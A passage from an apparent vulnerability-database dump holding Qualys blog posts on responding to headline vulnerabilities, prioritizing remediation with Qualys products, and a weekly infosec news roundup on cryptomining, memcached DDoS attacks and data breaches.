Product Management, speaks at RSA Conference 2018_\n\nHigh profile vulnerabilities like Meltdown and Spectre are disclosed, and become headline-grabbing news not just in the technology press, but on general news outlets worldwide.\n\nEven if the vulnerabilities aren\u2019t associated with an attack, the news reports rattle C-level executives, who ask the security team for a plan to address the by now notorious bug, and pronto.\n\nOften, a counter-productive disruption of the normal vulnerability and patch management operations ensues, as those involved scramble to draft a response against the clock in a panic atmosphere, punctuated by confusion and finger-pointing.\n\n\u201cShould I just immediately be jumping and reacting? Should I start deploying patches, and then go from there? I\u2019m going to argue that that\u2019s not always the case,\u201d Gill Langston, a Product Management Director at Qualys, said Wednesday during a presentation at RSA Conference 2018.\n\n### The right approach\n\nWhat security teams should aim for is a coherent, appropriate and rational response plan that is grounded in a factual and comprehensive assessment of the situation, said Langston, whose presentation was titled \u201cThe Sky Is Falling! Responding Rationally to Headline Vulnerabilities.\u201d\n\n\u201cHow can I put this together and send something back to the C-level executives that says: \u2018This is my recommendation for now.\u2019 It may not always be to go deploy the patches,\u201d Langston said. \u201cCreate a plan, and then react, review and improve it over time.\u201d\n\nA key step in dealing effectively with this type of \u201cnews event\u201d vulnerabilities is to have a proper and solid vulnerability management and remediation program in place. That way, organizations are in a better position to do a precise risk assessment of disclosed bugs on a continuous basis, according to Langston.\n\nThis also means that when a high profile vulnerability is announced, security teams have a head start. That way, they don\u2019t have to go back to square one to ensure they are in fact identifying all assets before they can start to react.\n\nOrganizations will be able to pick the most appropriate course of action, which depending on the case, can be to patch right away, to mitigate when remediation is complex, or to monitor and wait before acting.\n\nBelow are three recent examples of each scenario.\n\n### Patch now, unless you \u201cwanna cry\u201d later\n\nMost organizations should have prioritized patching the vulnerability that was exploited by the WannaCry ransomware, way before the attack was unleashed, according to Langston. Instead, the [WannaCry attack](<https://blog.qualys.com/news/2017/05/19/no-more-tears-wannacry-highlights-importance-of-prompt-precise-vulnerability-remediation>) infected 300,000-plus systems and disrupted critical operations globally.\n\nMicrosoft disclosed the Windows vulnerability ([MS17-010](<https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>)) in mid-March 2017 and made a patch available. At the time, Microsoft rated the vulnerability as \u201cCritical\u201d due to the potential for attackers to execute remote code in affected systems.\n\nThe vulnerability also had a number of other red flags that made it stand out as a particularly concerning one. In mid-April, the vulnerability became even more dangerous when the [Shadow Brokers hacker group](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) released an exploit for it called EternalBlue.\n\nSo organizations had a window of about two months to install the patch before WannaCry was unleashed in mid-May. Had most affected systems been patched, WannaCry\u2019s impact would have been minor.\n\n\u201cIn most cases, organizations that follow the standard patching cycle of 30 days, they were already protected. And two months in, you got a second shot at it,\u201d he said.\n\nLangston displayed a graph with Qualys vulnerability scanning data showing that between mid-March and mid-April, detection of affected devices spiked and gradually declined as organizations scanned and patched their systems.\n\n\n\nHowever, the number of vulnerable systems shoots up after the EternalBlue release, after organizations apparently expanded the initial scope of scanned IT assets. \n\nAnd there\u2019s an important lesson here. \u201cWhen you\u2019re dealing with a vulnerability that can jump around your network, if you\u2019re not identifying all of the assets, you\u2019re already behind the eight ball,\u201d he said.\n\nThe graph shows that widespread patching didn\u2019t fully kick in until after the WannaCry attacks began.\n\nFom WannaCry, Langston identified some key no-nos: A slow identification of all at-risk assets; a tendency by IT operations teams to treat all issues with similar urgency; and a complacency among end users to delay rebooting their machines to finish the patching process.\n\n### Strut your firewall\n\nLangston then discussed the Struts web application vulnerability that was exploited most famously at Equifax, leading to that consumer credit reporting agency's massive data breach. On the same day that Struts was disclosed, and a patch made available, an exploit was also released, so the risk was high.\n\nBecause web application vulnerabilities tend to be difficult to remediate, often requiring a rebuild and long testing cycles, Struts highlights the importance of mitigation. In this case, a good plan would have been to use a[ web application firewall,](<https://blog.qualys.com/technology/2017/03/09/qualys-waf-2-0-protects-against-critical-apache-struts2-vulnerability-cve-2017-5638?>) while patching was in progress, he said. \n\n### Meltdown and Spectre: All bark and no bite?\n\nThen there are the Spectre and Meltdown vulnerabilities, which caused widespread alarm upon their disclosure in early January of this year, but for which there are only ineffective proof-of-concept exploits so far.\n\nIn the panic that was created, vendors such as Microsoft and Intel released faulty patches that IT departments rushed to apply, only to have to react after they caused system problems, including data corruption and performance issues.\n\nQualys data of vulnerability scans for Meltdown shows an initial push to install OS patches, followed by a long plateau of inactivity, as organizations probably weighed the fact that there were no exploits, and that the patches were problematic.\n\nA big lesson from Meltdown and Spectre? \u201cJust because it\u2019s in the news doesn\u2019t mean it\u2019s an emergency,\u201d Langston said. In other words, it\u2019s an example of a scenario where the most prudent thing to do is to monitor the situation and wait, instead of rushing to patch.\n\n### Best practices\n\nLangston recommends these six tips for crafting the best response to a notoriously public vulnerability:\n\n * Identify high-risk vulnerabilities often\n * Track the specific risk to your organization\n * Determine the best course of action\n * Decide when to communicate with internal stakeholders\n * Update regularly\n * Work the plan and improve it\n\nIt\u2019s also key to get buy-in from all the teams that will be involved in drafting, approving and executing the plan, including executives, security operations, DevOps, and IT operations. \u201cBuild the playbook together,\u201d he said.\n\nThe response plan should have four main elements:\n\n * Preparation, which involves ensuring that all assets are identified, that the triggers are documented and that the communication outreach is built\n * Reaction, which involves working the playbook, deciding on the course of action (fix, wait or mitigate), and communicating with your users\n * Revision, which involves reviewing the outcomes of the executed plan, and identifying improvement areas\n * Improvement, which involves collaboration to refine the response, modifying the plan based on findings, and extending the plan to all high-severity vulnerabilities\n\nThis should all amount to a rational, measured response, instead of to a knee-jerk reaction that leads to erratic, misguided decisions and actions.\n\n\u201cIf you don\u2019t have some response plan, you end up bouncing off of each other, pointing fingers and slowing down the entire process,\u201d he said.\n\nBelow is a checklist template that Langston suggests could be helpful in analyzing how to best respond to a \u201cheadline vulnerability\u201d.\n\n \nHere\u2019s how that checklist might look when filled out by a hypothetical organization for the Meltdown vulnerability.\n\n\n\nThis information can also be enriched and expanded using automated dashboards with threat feeds and other resources that are updated in real time and that allow security teams to do in depth analysis of relevant data.\n\nThe goal is that in the face of a headline-blaring vulnerability, organizations can come up with a well thought and sensible plan. \u201cA methodical approach leads to a rational response,\u201d Langston said.", "cvss3": {}, "published": "2018-04-19T23:00:03", "type": "qualysblog", "title": "The Sky Is Falling!

Among those, 41% of the breaches were carried out by exploiting a vulnerability.\n\n\u201cThis is really representative of the problems we\u2019re seeing in the industry with prioritization and getting patches deployed, and this is only increasing,\u201d he said.\n\n\u201cIn a post-Equifax world, VM is coming under increased scrutiny,\u201d Zelonis added, alluding to the massive data breach suffered by the credit reporting agency in 2017 after hackers exploited the Apache Struts vulnerability (CVE-2017-5638), which had been disclosed about six months before.\n\nRead on to learn valuable best practices for prioritizing remediation, and how Qualys can help your organization overcome this critical challenge.\n\n### Vulnerability management and prioritization tips\n\nAccording to Zelonis, the vulnerability risk management process has four main steps: \n\n * Asset identification\n * Enumeration of assets\n * Prioritization of patching\n * Remediation\n\nWhen assigning remediation priorities, it\u2019s key to examine the severity of the vulnerabilities in the context of each asset. \n\nFor example, it should be a top priority to remediate a critical vulnerability in an asset that\u2019s highly important. However, remediating that same vulnerability may not be a top priority when it\u2019s present in an asset of medium or low importance. \n\nIn vulnerability management, it\u2019s also helpful to use threat intelligence not just to detect threats, but to also preemptively patch using threat landscape trends as a guide.\n\n\u201cIt\u2019s important to understand how a vulnerability can be exploited so you can take a look at at the assets within your organization to figure out where patches need to be prioritized and applied,\u201d Zelonis said.\n\nThreat intelligence is also essential for security teams to be able to communicate effectively with C-level executives and board members, who are increasingly interested in staying informed about the organization\u2019s security posture and strategy.\n\n\u201cOnce you\u2019ve made it relevant to them, they\u2019re going to need to understand what you\u2019re doing to mitigate the situations and perhaps allocate additional budget where necessary,\u201d he said.\n\nIt\u2019s also important to communicate this information not just to the higher-ups, but also horizontally across other IT teams such as operations, and across business units, because vulnerability remediation requires cross-functional collaboration.\n\n\u201cThis is a major gap we see with organizations who are struggling to get items patched: The security team\u2019s priorities aren\u2019t echoed nor understood outside of the security team,\u201d he said.\n\nThe goal here is to make these other teams aware of the real risk and potential business impact of particular vulnerabilities.\n\nUltimately, organizations should evolve from vulnerability management to vulnerability risk management. That way, the focus isn\u2019t just on reducing false positives, but rather on assessing critical data points and metrics to attain an understanding of risk, according to Zelonis.\n\n### Qualys: Asset visibility, vulnerability management and threat prioritization\n\nWith Qualys, you\u2019ll get complete visibility of your IT assets wherever they reside -- on premises, in clouds or at remote endpoints -- and you\u2019ll be able to continuously detect and asses all your vulnerabilities, and precisely prioritize remediation.\n\nWith proper vulnerability management, you \u201cimmunize\u201d your IT assets against opportunistic attacks which are designed to exploit common, well-known bugs and which are the most likely to hit your network.\n\nLet\u2019s look at three Qualys products that work in tandem to provide you with this asset visibility, vulnerability detection and remediation prioritization.\n\n_Qualys AssetView_\n\n[Qualys AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) automates collection and categorization of IT and security information, and provides a unified view of this data.\n\n\u201cIt brings IT and security data together,\u201d Qualys Product Management Director Jimmy Graham said during the webcast, titled \u201cPrioritization of Vulnerabilities in a Modern IT Environment.\u201d\n\n\n\nThe data, which is fed into the Qualys Cloud Platform for aggregation, indexing, correlation, and analysis, is continuously collected and updated using a variety of sensors, including:\n\n * Physical and virtual appliances that scan IT assets located on-premises, in private clouds, or in virtualized environments\n * Cloud appliances that remotely scan your infrastructure-as-a-service (IaaS) and platform-as-a-service (PaaS) instances in commercial cloud computing platforms\n * Lightweight, all-purpose cloud agents installed on IT assets that continuously monitor them\n\nThe data is made searchable via AssetView\u2019s search engine using ad-hoc queries. In addition, any query can be turned into interactive, continuously updated widgets in AssetView\u2019s customizable and dynamic dashboards. You can also generate detailed and custom-tailored reports.\n\nThis inventory provides both a complete \u201chorizontal\u201d list of IT assets as well as deep \u201cvertical\u201d details for each asset, including hardware specs, installed software, network connections, approved users, applied patches, and open vulnerabilities. \n\nIn addition, Qualys AssetView lets you assign criticality rankings to assets, since not all assets carry the same weight within your organization. Qualys lets you [tag your assets](<https://blog.qualys.com/news/2017/02/28/making-asset-inventory-actionable-with-a-cloud-based-system>), so you put relevant labels on them in the inventory and organize them in multiple ways.\n\n_Qualys Vulnerability Management_\n\n[Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) provides continuous, comprehensive coverage and visibility, as well as constant monitoring and alerts, in a way that makes vulnerability assessment effective in a \u201cperimeter-less world,\u201d according to Graham.\n\n\u201cWe call that \u2018perimeter-less world\u2019 because we collect vulnerabilities from on premises devices, and from private and public clouds. Through the agent, we can collect vulnerability information from roaming devices like laptops that employees may be using in a coffee shop or at home,\u201d he said.\n\n\n\nQualys VM maps all assets on the network, detailing their OS, ports, services and certificates, and scans them for vulnerabilities with Six Sigma 99.99966 percent accuracy. It assigns remediation tickets, manages exceptions, lists patches for each host, and integrates with existing IT ticketing systems.\n\nIn addition, VM generates comprehensive reports customized for different recipients \u2014 like IT pros, business executives or auditors \u2014 and incorporates context and insight, including progress against goals. Via VM\u2019s APIs, the reporting data can be integrated with other security and compliance systems.\n\nWhen VM is paired with the Qualys Continuous Monitoring (CM) app, you\u2019ll be alerted about potential threats \u2014 such as new hosts/OSes, expiring certificates, unexpected open ports and unauthorized software \u2014 so problems can be tackled before turning into breaches. \n\n_Qualys Threat Protection_\n\nTo prioritize remediation work, you must continuously correlate vulnerability disclosures with your organization\u2019s IT asset inventory, so that you get a clear picture of the vulnerabilities that exist in each IT asset.\n\nThis is what [Qualys Threat Protection (TP)](<https://www.qualys.com/apps/threat-protection/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) does, and more.\n\n\n\nQualys TP continuously correlates external real-time threat indicators (RTIs) against your internal vulnerabilities and IT asset data, so you can take full control of evolving threats and identify what to remediate first.\n\n\u201cWhat ties this all together is Qualys Threat Protection,\u201d Graham said.\n\nRTIs add valuable context to a vulnerability, such as whether: \n\n * It\u2019s being actively attacked in the wild\n * There\u2019s an exploit kit available for it\n * It can lead to high data loss or to a denial of service attack\n * It\u2019s a \u201czero day\u201d with no patch available\n\nRegarding IT assets, you should consider factors such as their role in business operations, their interconnectedness with other assets, their Internet exposure and their user base.\n\nOut of this type of in-depth analysis will emerge a clear picture of your threat landscape, and based on it, you\u2019ll be able to come up with an accurate remediation plan.\n\nQualys TP features include:\n\n * Robust Data Analysis\n\nQualys TP continuously correlates external threat information against your vulnerabilities and IT asset inventory, leveraging Qualys Cloud Platform\u2019s robust back-end engine to automate this large-scale and intensive data analysis process. \n\n * Live Threat Intelligence Feed\n\nAs Qualys engineers continuously validate and rate new threats from internal and external sources, Qualys TP\u2019s Live Threat Intelligence Feed displays the latest vulnerability disclosures and maps them to your impacted IT assets. You can see the number of assets affected by each threat, and drill down into asset details.\n\nQualys Threat Protection, working in tandem with [Qualys AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) and [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>), helps you to proactively and continuously detect assets and vulnerabilities, and prioritize remediation in your IT environment.\n\n_Watch a recording of the [webcast](<https://www.qualys.com/webcasts/prioritization-vulnerabilities-modern-it-environment/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=webcast&leadsource=344565181>), which has a lot more details, a demo of Qualys Threat Protection, and a Q&A session with the audience._", "cvss3": {}, "published": "2018-05-07T16:00:10", "type": "qualysblog", "title": "How To Prioritize Vulnerabilities in a Modern IT Environment", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-05-07T16:00:10", "id": "QUALYSBLOG:5C311FA52DD78D7015076D492F321DB0", "href": "https://blog.qualys.com/news/2018/05/07/how-to-prioritize-vulnerabilities-in-a-modern-it-environment", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T20:50:13", "description": "In this week\u2019s InfoSec news review we\u2019ll dive into cryptomining, get the latest on DDoS amplification, go over recent data breaches, and check out another vendor claiming it can crack iPhones.\n\n### I, me, mine\n\nThe freight train that\u2019s cryptomining shows no sign of slowing down, and the cyber security implications are intensifying accordingly.\n\nThis week alone, Microsoft [detected and disrupted](<http://www.newsweek.com/crypto-mining-malware-outbreak-infected-500000-computers-single-day-836145>) a massive cryptomining malware campaign, a Tesla AWS account[ got hijacked](<http://fortune.com/2018/02/20/tesla-hack-amazon-cloud-cryptocurrency-mining/>), a new mining worm [was discovered](<https://securityboulevard.com/2018/03/worm-infects-redis-and-windows-servers-with-cryptomining-malware/>), and Kaspersky researchers warned about increased[ sophistication of infection methods](<https://www.businesswire.com/news/home/20180305005866/en/Million-Kaspersky-Lab-Identifies-Sophisticated-Hacker-Groups>). \n\nWhile there is a legitimate component to this business, malicious hackers eager to profit are aggressively breaching networks and infecting devices -- PCs, IoT systems, smartphones, servers -- to steal computing power for mining virtual currencies.\n\n_A cryptocurrency mining farm in Iceland. (Photo credit: By [Marco Krohn - Own work, CC BY-SA 4.0](<https://commons.wikimedia.org/w/index.php?curid=40495567>))_\n\nThe creation and verification process of virtual currencies like Bitcoin and Monero involves solving lengthy and complex mathematical calculations that require large amounts of [computing power](<https://www.coindesk.com/nvidia-cfo-crypto-mining-demand-beat-expectations-q4/>). Those involved in this [\u201cblockchain\u201d process](<https://www.investopedia.com/tech/how-does-bitcoin-mining-work/>) earn money from it, and the payouts have skyrocketed as the value of these cryptocurrencies has dramatically increased in the past several months.\n\nThat has attracted the attention both of legitimate players -- [individuals](<http://www.businessinsider.com/mining-cryptocurrency-making-a-profit-2018-2>) and [businesses](<https://www.theverge.com/2018/2/13/17008158/salon-suppress-ads-cryptocurrency-mining-coinhive-monero-beta-testing>) -- and, unfortunately, of bad actors, who are using malware to gain unauthorized access to systems they then leverage for mining.\n\n\u201cExploit kits are now delivering coin miners instead of ransomware. Scammers are adding coin mining scripts in tech support scam websites. And certain banking trojan families added coin mining behavior,\u201d Microsoft\u2019s Windows Defender team stated in its [blog post](<https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/>).\n\nBetween September and January, the number of websites hosting cryptomining scripts [spiked 725%](<https://www.cyren.com/blog/articles/increase-in-cryptocurrency-mining-threatens-more-than-just-your-cpu>), Cyren Security Lab said recently. That figure includes domains that are hosting these scripts knowingly, as well as those that have been breached.\n\nCryptomining attacks are purposefully stealthy and silent: They avoid noticeably disrupting breached systems\u2019 operations in order to remain undetected. \u201cFor coin miner malware, persistence is key. These types of malware employ various techniques to stay undetected for long periods of time in order to mine coins using stolen computer resources,\u201d reads Microsoft\u2019s blog post.\n\nThus, cryptomining gives hackers \u201call of the financial upside\u201d of ransomware and other attacks without having to engage the victim and while drawing less law enforcement attention, Cisco\u2019s Talos unit [explained](<http://blog.talosintelligence.com/2018/01/malicious-xmr-mining.html>) in late January.\n\nAs industry analyst Jason Bloomberg put it in a [Forbes column](<https://www.forbes.com/sites/jasonbloomberg/2018/03/04/top-cyberthreat-of-2018-illicit-cryptomining/#4b6bdcc05ae8>) recently, \u201cransomware is oh, so 2017,\u201d as \u201csmart hackers have turned to illicit cryptomining to fill their coffers\u201d lured by a perfect storm of \u201ceasy money, slim chance of detection, and billions of unsuspecting targets that may not even care they\u2019ve been hacked.\u201d\n\nLast month, Imperva [reported](<https://www.imperva.com/blog/2018/02/new-research-crypto-mining-drives-almost-90-remote-code-execution-attacks/>) that cryptomining now drives almost 90% of all remote code execution attacks. Kaspersky Lab put the number of users attacked by malicious miners[ at 2.7 million in 2017](<https://securelist.com/mining-is-the-new-black/84232/>), up 50% from 2016. And according to Check Point, [23% of global organizations](<https://coinjournal.net/23-organizations-globally-affected-crypto-mining-malware-coinhive-says-cybersecurity-firm/>) were affected in January by the Coinhive crypto-mining malware. \n\nMeanwhile, Malwarebytes Labs [ranks](<https://blog.malwarebytes.com/cybercrime/2018/02/state-malicious-cryptomining/>) malicious cryptomining as its top detection since September. While acknowledging that malicious cryptomining appears to be far less dangerous to the user than ransomware, Malwarebytes Labs warned that its effects should not be underestimated. \u201cIndeed, unmanaged miners could seriously disrupt business or infrastructure critical processes by overloading systems to the point where they become unresponsive and shut down,\u201d reads the Malwarebytes Labs post.\n\nOrganizations that have been compromised in recent months include the U.K.\u2019s [Information Commissioner\u2019s Office](<http://www.bbc.com/news/technology-43025788>) (ICO), [U.S. federal courts](<http://fortune.com/2018/02/12/us-courts-coinhive-monero-cryptocurrency-miner/>), [Australian state governments](<https://www.theguardian.com/technology/2018/feb/12/cryptojacking-attack-hits-australian-government-websites>), and the[ LA Times newspaper](<https://nakedsecurity.sophos.com/2018/02/27/unsecured-aws-led-to-cryptojacking-attack-on-la-times/>).\n\nAttack targets have included [vulnerable Jenkins servers](<https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/>), [unsecured Docker containers](<https://blog.aquasec.com/cryptocurrency-miners-abusing-containers-anatomy-of-an-attempted-attack>), [Microsoft Windows systems](<https://securityboulevard.com/2018/03/worm-infects-redis-and-windows-servers-with-cryptomining-malware/>), and browsers. Hackers have used multiple types of attack vehicles, including[ malvertising](<https://threatpost.com/ad-network-circumvents-ad-blocking-tools-to-run-in-browser-cryptojacker-scripts/130161/>), email, malware-laced apps, targeted hits, and exploit kits.\n\nFor example, the coin mining campaign detected by Microsoft\u2019s Windows Defender team this week used variants of the Dofoil/Smoke Loader malware in the form of sophisticated trojans with \u201cadvanced cross-process injection techniques, persistence mechanisms, and evasion methods.\u201d\n\nThe Dofoil trojans attacked Explorer.exe with a \u201cprocess hollowing\u201d code-injection technique that created a new instance of the \u201cc:\\windows\\syswow64\\explorer.exe\u201d process and replaced the legit code with malware.\n\n\u201cThe hollowed Explorer.exe process then spins up a second malicious instance, which drops and runs a coin mining malware masquerading as a legitimate Windows binary, wuauclt.exe,\u201d Microsoft explained. Dofoil uses a customized mining application that can mine different cryptocurrencies. To avoid detection, Dofoil modifies the registry, according to Microsoft.\n\nAnd let us not forget good, old physical -- aka, real world -- security breaches. The Associated Press reported that crooks [stole 600 servers](<https://apnews.com/55117fb55a714e909fb9aaf08841a5d6/Bitcoin-heist:-600-powerful-computers-stolen-in-Iceland>) from data centers in Iceland that were being used for cryptomining. The servers, which haven\u2019t been found, are worth $2 million, and were swiped in a series of four heists in December and January. So far, 11 people have been arrested in connection with the investigation.\n\n### Memcached servers used for DDoS attacks\n\nLast week, we [reported](<https://blog.qualys.com/news/2018/03/02/apple-in-the-infosec-spotlight-as-github-falls-prey-to-amplified-ddos-attack>) on the troubling trend among hackers of using unprotected Memcached servers to dramatically [amplify the intensity](<https://www.darkreading.com/attacks-breaches/memcached-servers-being-exploited-in-huge-ddos-attacks/d/d-id/1331149?>) of their DDoS attacks. GitHub was on the receiving end of such a DDoS attack last week, which at the time was considered [the most intense ever](<http://www.zdnet.com/article/github-was-hit-with-the-largest-ddos-attack-ever-seen/>).\n\nWell, that record lasted for only a few days. This week, Arbor Networks [detected](<https://www.arbornetworks.com/blog/asert/netscout-arbor-confirms-1-7-tbps-ddos-attack-terabit-attack-era-upon-us/>) an even stronger DDoS attack against an unnamed customer of a U.S.-based service provider. The attack, according to Arbor Networks, reached 1.7Tbps at its peak and utilized the same Memcached reflection/amplification attack vector involved in the GitHub attack, which peaked at 1.35Tbps.\n\n \n\n_(Source: Arbor Networks)_\n\n \n\nThe open source Memcached software is meant to be used behind firewalls on internal networks to boost server performance, but many organizations have made them available from the Internet, and hackers are using them to significantly boost their DDoS attacks.\n\n\u201cWhile the internet community is coming together to shut down access to the many open Memcached servers out there, the sheer number of servers running Memcached openly will make this a lasting vulnerability that attackers will exploit,\u201d reads Arbor Networks\u2019 blog post.\n\nFor detailed information about this trend, in which attackers leverage the User Datagram Protocol (UDP), check out the write-ups from [Akamai](<https://blogs.akamai.com/2018/02/memcached-udp-reflection-attacks.html>), [Link11](<https://www.link11.com/en/blog/new-high-volume-vector-memcached-reflection-amplification-attacks/>) and [Cloudflare](<https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/>).\n\n\u201cAn attacker spoofing the UDP address of their intended victim can send just a small packet of data to a Memcached server, tricking it into blasting as much as 50,000 times more data in response,\u201d [wrote](<https://hotforsecurity.bitdefender.com/blog/world-record-broken-again-ddos-attack-exceeds-1-7-terabits-per-second-19653.html#new_tab>) security analyst Graham Cluley. \u201cThe result? A data tsunami.\u201d\n\nIn encouraging news, eWeek [reported on Friday](<http://www.eweek.com/security/memcached-ddos-attacks-slow-down-as-patching-ramps-up>) that patching efforts were starting to make a dent on these amplified DDoS attacks, according to the latest data gathered by Arbor and Cloudflare. \"We're still seeing lots of them, but their average size is considerably smaller due to ongoing cleanup and mitigation efforts,\" Steinthor Bjarnason, senior network security analyst at Arbor's Netscout unit, told eWEEK.\n\n### Another digital forensics vendor claims it can crack iPhones\n\nOn the heels of Cellebrite\u2019s recent claims that it can unlock and extract data from devices running all modern iOS versions including the most recent one, another digital forensics vendor is quietly making similar promises.\n\nForbes [reported](<https://www.forbes.com/sites/thomasbrewster/2018/03/05/apple-iphone-x-graykey-hack/#7b81709b2950>) this week that a \"mysterious\" company called GrayKey is distributing marketing materials that describe online and offline tools that allow it to unlock devices running iOS 10 and iOS 11, including the latest iPhone X.\n\n_A second digital forensics vendor now claims it can crack iOS devices, including the iPhone X, pictured here. (Photo credit: Apple)_\n\nForbes\u2019 February [report](<https://www.forbes.com/sites/thomasbrewster/2018/02/26/government-can-access-any-apple-iphone-cellebrite/#cb3ce1f667a0>) on Cellebrite\u2019s claims -- which extend to Android devices as well -- generated a lot of concern among privacy and security experts.\n\nCellebrite has been telling its customers, which are primarily government, military and corporate investigative teams, that it\u2019s able to unlock and extract data from devices running iOS 11, such as the iPhone X, as well as other iPhones, iPads and iPods.\n\nConcerns center on the possibility that whatever technique and knowledge Cellebrite -- and now apparently GrayKey -- may possess could fall into the hands of criminals, be independently replicated by bad actors, or be abused by governments.\n\nThe situation also highlights the ongoing tug-of-war between tech vendors and law enforcement agencies, as the former resist watering down encryption on their products, while the latter argue they need access to devices and data for their investigations.\n\n### Speaking of law enforcement\u2019s distaste for strong encryption\n\nThis week FBI Director Christopher Wray, speaking at Boston College's second annual cybersecurity summit, reiterated his agency\u2019s opposition to \u201cunbreakable encryption,\u201d saying it creates \u201ca major public safety issue,\u201d according to a[ CSO Magazine report](<https://www.csoonline.com/article/3261100/encryption/fbi-chief-calls-for-public-private-detente-on-encryption.html#tk.rss_all>).\n\nSaying that in fiscal 2017 FBI investigators failed to retrieve the contents of 7,775 devices to which judges had granted them access, Wray \u201cmade an impassioned appeal for help from the tech sector and the security community,\u201d CSO reported.\n\nIn related news, it transpired this week that the FBI has established close collaboration with Best Buy\u2019s Geek Squad team of computer repair technicians. According to[ documents obtained by the Electronic Frontier Foundation (EFF)](<https://www.eff.org/deeplinks/2018/03/geek-squads-relationship-fbi-cozier-we-thought>), the FBI has been paying Geek Squad staffers for years for tips about illegal material they may find in the computers they\u2019re fixing.\n\n### Data breach included with your meal, your video game and your credit report\n\n\n\nThe Applebee\u2019s restaurant chain recently [discovered](<https://www.rmhfranchise.com/dataincident/>) malware in the POS (point of sale) systems of more than 160 of its eateries. At risk: Customers\u2019 names, credit and debit card numbers, expiration dates and card verification codes.\n\nThe incidents occurred in recent months, going back to November of last year, but Applebee\u2019s didn\u2019t discover the issue until mid-February.\n\n \n\n\u201cWe\u2019re seeing more of these types of breaches happening\u2026 it\u2019s an industry wide problem as more retailers look to an ecosystem of providers to bring in third party systems like point of sale and inventory management solutions,\u201d Fred Kneip, CEO of security firm CyberGRX [told Threatpost](<https://threatpost.com/pos-malware-found-at-160-applebees-restaurant-locations/130281/>). \u201cAs of today a lot of stores are playing catch up with security, and it can take months or years to realize that compromises have happened on third party systems.\u201d\n\nMeanwhile, customers of games developer Nippon Ichi Software (NIS) America are also at risk for credit card fraud and ID theft, after two of its online stores -- [NIS America](<https://store.nisamerica.com/>) and [SNKonlinestore](<https://snkonlinestore.com/>) -- were hacked.\n\n\n\nThe breach occurred on Jan. 23 and wasn\u2019t discovered until Feb. 26. Compromised data included customer name, address, credit card number, expiration date, security code, and email address.\n\nAccording to the email NIS America sent to customers -- as [re-printed by NintendoLive.com](<http://www.nintendolife.com/news/2018/03/nis_americas_online_stores_hacked_credit_card_details_compromised>) -- customers were redirected to an external web page where their information was captured, before being sent back to the company\u2019s online store to complete the transaction.\n\nAnd in the latest chapter of the monster data breach that just keeps on giving, Equifax [disclosed](<https://investor.equifax.com/news-and-events/news/2018/03-01-2018-140531340>) that there are another 2.4 million Americans whose personal data was stolen by hackers in last year\u2019s infamous and massive hack. That ups the total of people affected to about 148 million. The data thieves accessed Equifax\u2019s systems and data by exploiting the Apache Struts CVE-2017-5638 vulnerability, for which a patch was available.\n\n### In other InfoSec news \u2026\n\n * Duo Security, which provides a two-factor authentication app, is detailing a [serious flaw](<https://duo.com/labs/psa/duo-psa-2017-003>) it recently fixed in its product as well as [the flaw\u2019s root cause](<https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations>) -- SAML vulnerabilities -- which also affects third-party products and services. \u201cDuo disclosed the problem responsibly late last year, and after giving vendors \u2013 including itself \u2013 time to fix the bug, has now gone public with an excellent and educational explanation of what went wrong,\u201d [writes](<https://nakedsecurity.sophos.com/2018/02/28/single-sign-on-authentication-the-bug-that-let-you-logon-as-someone-else/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+nakedsecurity+%28Naked+Security+-+Sophos%29>) Lisa Vaas in Sophos\u2019 Naked Security blog.\n * Facebook\u2019s Oculus Rift VR headsets temporarily stopped working after the company [let its security certificate lapse](<https://www.theverge.com/2018/3/8/17095414/oculus-rift-software-fix-certificate-expiry>).\n * MoviePass CEO Mitch Lowe set off privacy alarms when he [boasted](<https://www.csoonline.com/article/3260629/privacy/thanks-to-moviepass-app-tracking-ceo-claims-we-know-all-about-you.html>) this week during a keynote address that his company\u2019s eponymous app has such an ability to track its subscribers -- including via GPS data -- that \u201cwe know all about you.\u201d After the inevitable backlash, the company [the next day](<https://www.theverge.com/2018/3/8/17096442/moviepass-updates-ios-app-unused-location-tracking-features>) announced it was removing the app\u2019s location tracking features.\n\n* * *\n\n_With the [Qualys Cloud Platform ](<https://www.qualys.com/cloud-platform/>)and its suite of natively integrated, self-updating security and compliance [Cloud Apps](<https://www.qualys.com/apps/>), Qualys pro__vides automated, continuous and scalable prevention and response__. __Qualys offers customers [complete and instant visibility of IT assets](<https://www.qualys.com/apps/asset-inventory/>) wherever they reside -- on premises, in clouds, and remote endpoints; comprehensive and continuous [vulnerability management](<https://www.qualys.com/apps/vulnerability-management/>); granular [assessment of secure system configurations](<https://www.qualys.com/apps/policy-compliance/>); [monitoring of file integrity](<https://www.qualys.com/apps/file-integrity-monitoring/>); [web application scanning and firewall](<https://www.qualys.com/apps/web-app-scanning/>); [detection of compromise](<https://www.qualys.com/apps/indication-of-compromise/>); and multiple other security and compliance solutions._", "cvss3": {}, 